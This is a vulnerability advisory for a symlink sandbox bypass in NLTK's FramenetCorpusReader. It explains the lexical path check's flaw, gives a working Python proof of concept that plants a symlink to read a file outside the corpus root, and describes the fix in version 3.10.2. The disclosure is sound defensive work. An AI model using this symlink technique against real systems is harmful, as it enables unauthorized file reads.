CVE-2026-62384: NLTK FramenetCorpusReader Symlink Sandbox Bypass
A symlink planted inside an NLTK corpus directory can trick FramenetCorpusReader into reading any file on the system, bypassing the path-traversal guard added in the previous security fix.

The problem
NLTK's FramenetCorpusReader uses _reject_unsafe_path_component() to block path separators and .. sequences. That check is purely lexical: it never resolves symlinks.
An attacker who can write a file into the corpus's frame/, lu/, or fulltext/ subdirectory can plant a symlink whose name contains no separators. The name passes the guard cleanly. The reader then calls self.abspath() (a plain string join) and opens the resolved path with no root-scope check, so the symlink target, which can be any file outside the corpus root, is read and returned as valid frame data.
All three public entry points are affected: frame_by_name(), _lu_file(), and doc().
Proof of concept
A working proof-of-concept for CVE-2026-62384 in nltk, with the exact payload below.
import os
import tempfile
from nltk.corpus.reader.framenet import FramenetCorpusReader
root = tempfile.mkdtemp()
corpus_root = os.path.join(root, "framenet_v17")
frame_dir = os.path.join(corpus_root, "frame")
secret_dir = os.path.join(root, "outside_framenet_root")
os.makedirs(frame_dir)
os.makedirs(secret_dir)
with open(os.path.join(corpus_root, "frRelation.xml"), "w") as f:
f.write("<frameRelations/>")
secret_path = os.path.join(secret_dir, "stolen.xml")
with open(secret_path, "w") as f:
f.write(
'<frame cBy="000" cDate="01/01/2000" name="StolenFrame" ID="999999">'
"<definition>THIS CAME FROM OUTSIDE THE FRAMENET CORPUS ROOT</definition>"
"</frame>"
)
# Symlink name has no separators, so _reject_unsafe_path_component() passes it.
link_path = os.path.join(frame_dir, "evil_link.xml")
os.symlink(secret_path, link_path)
reader = FramenetCorpusReader(corpus_root, [])
reader._frame_idx = {"__dummy__": {"name": "__dummy__"}} # skip index build
result = reader.frame_by_name("evil_link") # no '..' anywhere in this call
print("frame name:", result["name"]) # => StolenFrame
print("definition:", result["definition"]) # => THIS CAME FROM OUTSIDE THE FRAMENET CORPUS ROOTThe root cause is CWE-59 (link following) layered on CWE-22 (path traversal). _reject_unsafe_path_component(), introduced by PR #3581 to fix CVE-2026-54292, checks the literal string for /, \, .., and drive prefixes. It has no filesystem interaction at all.
After the check passes, the code calls self.abspath(os.path.join(subdir, value)), which is a lexical operation. The resulting PathPointer is then opened with no required_root argument, so the OS resolves the symlink and returns bytes from outside the corpus root with no exception raised anywhere.
The fix in commit 736d3212 (PR #3726, released in 3.10.2) routes all three call sites through CorpusReader.open() with required_root=self._root, matching the pattern already used correctly by NKJPCorpusReader elsewhere in the codebase. This forces os.path.realpath() resolution before the root-scope assertion, so any symlink that escapes the corpus directory is caught before the file is opened.
The fix
Upgrade nltk to 3.10.2 or later (pip install --upgrade nltk). The fix is in commit 736d3212a47de2005b85b785dde6720556d3925d (PR #3726): frame_by_name(), _lu_file(), and doc() now open files through CorpusReader.open() with required_root=self._root, which resolves symlinks via os.path.realpath() and asserts the canonical path stays inside the corpus root before any read occurs.
Related research
- highCVE-2026-79676CVE-2026-79676: NLTK Corpus Readers Symlink Path Traversal (pathsec Bypass)
- high · 7CVE-2026-81726CVE-2026-81726: NLTK Model-Artifact APIs Path Traversal Bypass (pathsec sandbox escape)
- highCVE-2026-63312CVE-2026-63312: NLTK StreamBackedCorpusView Arbitrary File Read via pathsec.ENFORCE Bypass
- high · 6.2CVE-2026-70626CVE-2026-70626: NLTK CorpusReader Symlink Escape Arbitrary File Read